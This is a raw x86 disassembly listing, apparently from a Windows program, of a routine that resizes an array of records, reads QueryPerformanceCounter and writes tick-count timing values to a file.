mov byte [esp + 0x190], 0x72
je 0x59019f15
mov ecx, esi
call fcn.59013250
add esi, 0x48
mov byte [esp + 0x190], 0x6c
dec edi
mov dword [esp + 0x74], esi
jne 0x59019efb
mov eax, dword [esp + 0x30]
inc eax
mov dword [0x5919db00], eax
mov dword [0x5919dafc], eax
jmp 0x5901a19d
mov esi, dword [0x5919db00]
cmp ebp, esi
jg 0x5901a092
cmp ecx, ebp
jge 0x5901a010
mov esi, ebp
xor eax, eax
sub esi, ecx
lea ecx, [ecx + ecx*8]
lea edx, [edx + ecx*8]
lea ecx, [esi + esi*8]
shl ecx, 3
mov ebp, ecx
mov edi, edx
shr ecx, 2
mov dword [esp + 0x74], edx
rep stosd dword es:[edi], eax
mov ecx, ebp
and ecx, 3
rep stosb byte es:[edi], al
mov eax, esi
dec esi
test eax, eax
je 0x5901a083
lea ecx, [esi + 1]
mov eax, edx
mov dword [esp + 0x80], eax
test edx, edx
mov byte [esp + 0x190], 0x73
je 0x59019fef
mov esi, dword [0x59155850]
mov dword [edx + 0x1c], esi
mov esi, dword [0x59155850]
mov byte [esp + 0x190], 0x74
mov dword [eax + 0x20], esi
mov esi, dword [0x59155850]
mov byte [esp + 0x190], 0x75
mov dword [eax + 0x24], esi
mov esi, dword [0x5915584c]
mov byte [esp + 0x190], 0x76
mov dword [eax + 0x2c], esi
mov esi, dword [0x59155850]
mov byte [esp + 0x190], 0x77
mov dword [eax + 0x44], esi
mov byte [esp + 0x190], 0x73
add edx, 0x48
mov byte [esp + 0x190], 0x6c
dec ecx
mov dword [esp + 0x74], edx
jne 0x59019f85
mov eax, dword [esp + 0x30]
inc eax
mov dword [0x5919dafc], eax
jmp 0x5901a19d
jle 0x5901a083
lea eax, [ebp + ebp*8]
sub ecx, ebp
lea esi, [edx + eax*8]
mov edx, ecx
dec ecx
mov dword [esp + 0x74], esi
test edx, edx
je 0x5901a083
lea edi, [ecx + 1]
lea ecx, [esi + 0x44]
mov byte [esp + 0x190], 0x7c
call fcn.5909f180
lea ecx, [esi + 0x2c]
mov byte [esp + 0x190], 0x7b
call fcn.59099e00
lea ecx, [esi + 0x24]
mov byte [esp + 0x190], 0x7a
call fcn.5909f180
lea ecx, [esi + 0x20]
mov byte [esp + 0x190], 0x79
call fcn.5909f180
lea ecx, [esi + 0x1c]
mov byte [esp + 0x190], 0x6c
call fcn.5909f180
add esi, 0x48
dec edi
mov dword [esp + 0x74], esi
jne 0x5901a029
mov eax, dword [esp + 0x30]
inc eax
mov dword [0x5919dafc], eax
jmp 0x5901a19d
mov eax, dword [0x5919db04]
cmp eax, edi
jne 0x5901a0be
mov eax, ecx
cdq
and edx, 7
add eax, edx
sar eax, 3
cmp eax, 4
jge 0x5901a0b2
mov eax, 4
jmp 0x5901a0be
cmp eax, 0x400
jle 0x5901a0be
mov eax, 0x400
add eax, esi
cmp ebp, eax
mov dword [esp + 0x7c], eax
jl 0x5901a0cc
mov dword [esp + 0x7c], ebp
mov eax, dword [esp + 0x7c]
lea ecx, [eax + eax*8]
shl ecx, 3
push ecx
call fcn.591315b0
mov ecx, dword [0x5919dafc]
mov esi, dword [0x5919daf8]
mov edi, eax
mov dword [esp + 0x84], eax
lea ecx, [ecx + ecx*8]
add esp, 4
shl ecx, 3
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
mov edx, ebp
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [0x5919dafc]
sub edx, ecx
lea ecx, [ecx + ecx*8]
lea esi, [eax + ecx*8]
lea ecx, [edx + edx*8]
shl ecx, 3
mov ebp, ecx
xor eax, eax
mov edi, esi
mov dword [esp + 0x74], esi
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, ebp
and ecx, 3
rep stosb byte es:[edi], al
mov eax, edx
dec edx
test eax, eax
je 0x5901a16a
lea edi, [edx + 1]
mov dword [esp + 0x128], esi
test esi, esi
mov byte [esp + 0x190], 0x7e
je 0x5901a158
mov ecx, esi
call fcn.59013250
add esi, 0x48
mov byte [esp + 0x190], 0x6c
dec edi
mov dword [esp + 0x74], esi
jne 0x5901a13e
mov ecx, dword [0x5919daf8]
push ecx
call fcn.591315d9
mov eax, dword [esp + 0x34]
mov edx, dword [esp + 0x84]
mov ecx, dword [esp + 0x80]
add esp, 4
inc eax
mov dword [0x5919daf8], edx
mov dword [0x5919dafc], eax
mov dword [0x5919db00], ecx
mov eax, dword [esp + 0x30]
mov ecx, dword [esp + 0xc8]
lea esi, [esp + 0xcc]
lea edx, [eax + eax*8]
mov eax, dword [0x5919daf8]
lea ebp, [eax + edx*8]
lea edx, [esp + 0xe4]
push edx
mov dword [ebp], ecx
lea edi, [ebp + 4]
mov ecx, 6
rep movsd dword es:[edi], dword [esi]
lea ecx, [ebp + 0x1c]
call fcn.5909f310
lea eax, [esp + 0xe8]
lea ecx, [ebp + 0x20]
push eax
call fcn.5909f310
lea ecx, [esp + 0xec]
push ecx
lea ecx, [ebp + 0x24]
call fcn.5909f310
mov edx, dword [esp + 0xf0]
lea eax, [esp + 0xf4]
push eax
lea ecx, [ebp + 0x2c]
mov dword [ebp + 0x28], edx
call fcn.59099f80
mov ecx, dword [esp + 0xf8]
lea edx, [ebp + 0x34]
mov dword [ebp + 0x30], ecx
mov eax, dword [esp + 0xfc]
mov dword [edx], eax
mov ecx, dword [esp + 0x100]
mov dword [edx + 4], ecx
mov eax, dword [esp + 0x104]
mov dword [edx + 8], eax
mov ecx, dword [esp + 0x108]
mov dword [edx + 0xc], ecx
lea edx, [esp + 0x10c]
push edx
lea ecx, [ebp + 0x44]
call fcn.5909f310
lea ecx, [esp + 0x70]
mov byte [esp + 0x190], 0x6a
call fcn.59099e00
lea ecx, [esp + 0x14]
mov byte [esp + 0x190], 0x68
call fcn.5909f180
lea ecx, [esp + 0x24]
mov byte [esp + 0x190], 0x64
call fcn.5909f180
lea ecx, [esp + 0xa0]
mov byte [esp + 0x190], 0x63
call fcn.5909f180
lea ecx, [esp + 0x90]
mov byte [esp + 0x190], 0x62
call fcn.5909f180
lea ecx, [esp + 0x10c]
mov byte [esp + 0x190], 0x82
call fcn.5909f180
lea ecx, [esp + 0xf4]
mov byte [esp + 0x190], 0x81
call fcn.59099e00
lea ecx, [esp + 0xec]
mov byte [esp + 0x190], 0x80
call fcn.5909f180
lea ecx, [esp + 0xe8]
mov byte [esp + 0x190], 0x7f
call fcn.5909f180
lea ecx, [esp + 0xe4]
mov byte [esp + 0x190], 0x5b
call fcn.5909f180
mov eax, dword [esp + 0xb8]
inc ebx
cmp ebx, eax
jl 0x59019b31
jmp 0x5901a5ca
lea ecx, [esp + 0xb4]
call fcn.5901a740
test eax, eax
jne 0x5901a552
test edi, edi
je 0x5901a552
lea ecx, [esp + 0xc8]
call fcn.5901a750
mov bl, 0x84
mov byte [esp + 0x190], bl
mov eax, dword [edi]
mov dword [esp + 0xcc], eax
mov ecx, dword [edi + 4]
mov dword [esp + 0xd0], ecx
mov edx, dword [edi + 8]
mov dword [esp + 0xd4], edx
mov eax, dword [edi + 0xc]
lea ecx, [esp + 0xdc]
mov dword [esp + 0xd8], eax
push ecx
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov edx, dword [esp + 0x1a0]
lea eax, [esp + 0x20]
push eax
lea ecx, [esp + 0xec]
mov dword [esp + 0xcc], edx
call fcn.5909f310
lea ecx, [esp + 0x48]
push ecx
lea ecx, [esp + 0xf4]
call fcn.5909f310
lea edx, [esp + 0x40]
lea ecx, [esp + 0xf4]
push edx
call fcn.5909f310
lea eax, [esp + 0x3c]
lea ecx, [esp + 0xf8]
push eax
call fcn.5909f310
lea ecx, [esp + 0x2c]
push ecx
lea ecx, [esp + 0xf0]
call fcn.5909f310
lea edx, [esp + 0x28]
lea ecx, [esp + 0xfc]
push edx
call fcn.5909f310
lea eax, [esp + 0x9c]
lea ecx, [esp + 0x100]
push eax
call fcn.5909f310
lea ecx, [esp + 0x8c]
push ecx
lea ecx, [esp + 0xe8]
call fcn.5909f310
lea edx, [esp + 0x34]
push 0x5917aff8
push edx
call fcn.59054500
add esp, 8
push eax
lea ecx, [esp + 0x108]
mov byte [esp + 0x194], 0x85
call fcn.59099f80
lea ecx, [esp + 0x34]
mov byte [esp + 0x190], bl
call fcn.59099e00
push 0x180
push 0x8101
lea ecx, [esp + 0x10c]
call fcn.5901a730
push eax
call fcn.590821dd
add esp, 0xc
lea ecx, [esp + 0x30]
mov esi, eax
call fcn.59006df0
cmp esi, 0xffffffff
mov byte [esp + 0x190], 0x86
je 0x5901a501
mov eax, dword [esp + 0x98]
push eax
push ebp
push esi
call fcn.59081fed
mov ecx, dword [esp + 0xec]
mov edx, dword [esp + 0xe8]
mov eax, dword [edi + 0xc]
add esp, 0xc
push ecx
mov ecx, dword [edi + 8]
push edx
mov edx, dword [edi + 4]
push eax
mov eax, dword [edi]
push ecx
push edx
push eax
lea ecx, [esp + 0x48]
push str._r_n_r_nliTickBegin:_I64u__liTickEnd:_I64u__liTickRecord:_I64u
push ecx
call fcn.5909cc60
add esp, 0x20
lea ecx, [esp + 0x30]
call fcn.5901a720
push eax
push 0
lea ecx, [esp + 0x38]
call fcn.5909aa90
push eax
push esi
call fcn.59081fed
push esi
call fcn.59081f0d
add esp, 0x10
lea ecx, [esp + 0x30]
call fcn.5901a720
mov ecx, dword [esp + 0x98]
lea edx, [esp + 0xc8]
add eax, ecx
push edx
mov ecx, 0x5919db08
mov dword [esp + 0x10c], eax
call fcn.5905a6c0
lea ecx, [esp + 0x30]
mov byte [esp + 0x190], bl
call fcn.59099e00
lea ecx, [esp + 0xc8]
mov byte [esp + 0x190], 0x5b
call fcn.590122e0
jmp 0x5901a5ca
mov eax, dword [esp + 0x80]
test eax, eax
je 0x5901a57b
lea ecx, [esp + 0xb4]
call fcn.5901a740
test eax, eax
je 0x5901a5ca
push str.________________Save_____________
lea ecx, [esp + 0x2c]
call fcn.5909f400
lea eax, [esp + 0x134]
lea ecx, [esp + 0x148]
push eax
lea edx, [esp + 0xb8]
push ecx
lea eax, [esp + 0xa4]
push edx
lea ecx, [esp + 0x34]
push eax
lea edx, [esp + 0x3c]
push ecx
lea eax, [esp + 0x50]
push edx
lea ecx, [esp + 0x58]
push eax
lea edx, [esp + 0x64]
push ecx
mov ecx, dword [esp + 0xb8]
lea eax, [esp + 0x40]
push edx
push eax
push ecx
push ebp
call fcn.59021130
add esp, 0x30
lea ecx, [esp + 0x8c]
mov byte [esp + 0x190], 0x5a
call fcn.5909f180
lea ecx, [esp + 0x9c]
mov byte [esp + 0x190], 0x23
call fcn.5909f180
lea ecx, [esp + 0x134]
mov byte [esp + 0x190], 0x22
call fcn.590ab1d0
lea ecx, [esp + 0x148]
mov byte [esp + 0x190], 0x21
call fcn.590a4b10
lea ecx, [esp + 0xb4]
mov byte [esp + 0x190], 0x20
call fcn.590a4b10
lea ecx, [esp + 0x2c]
mov byte [esp + 0x190], 0x1f
call fcn.5909f180
lea ecx, [esp + 0x3c]
mov byte [esp + 0x190], 0x1e
call fcn.5909f180
lea ecx, [esp + 0x40]
mov byte [esp + 0x190], 0x1d
call fcn.5909f180
lea ecx, [esp + 0x48]
mov byte [esp + 0x190], 0x1c
call fcn.5909f180
lea ecx, [esp + 0x28]
mov byte [esp + 0x190], 0x1b
call fcn.5909f180
lea ecx, [esp + 0x6c]
mov byte [esp + 0x190], 0x1a
call fcn.5909f180
lea ecx, [esp + 0x38]
mov byte [esp + 0x190], 0x13
call fcn.5909f180
lea ecx, [esp + 0x50]
mov byte [esp + 0x190], 0xf
call fcn.5909f180
lea ecx, [esp + 0x58]
mov byte [esp + 0x190], 0xe
call fcn.5909f180
lea ecx, [esp + 0x5c]
mov byte [esp + 0x190], 4
call fcn.5909f180
lea ecx, [esp + 0x60]
mov byte [esp + 0x190], 0
call fcn.5909f180
lea ecx, [esp + 0x20]
mov dword [esp + 0x190], 0xffffffff
call fcn.5909f180
mov ecx, dword [esp + 0x188]
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
pop ebx
add esp, 0x184
ret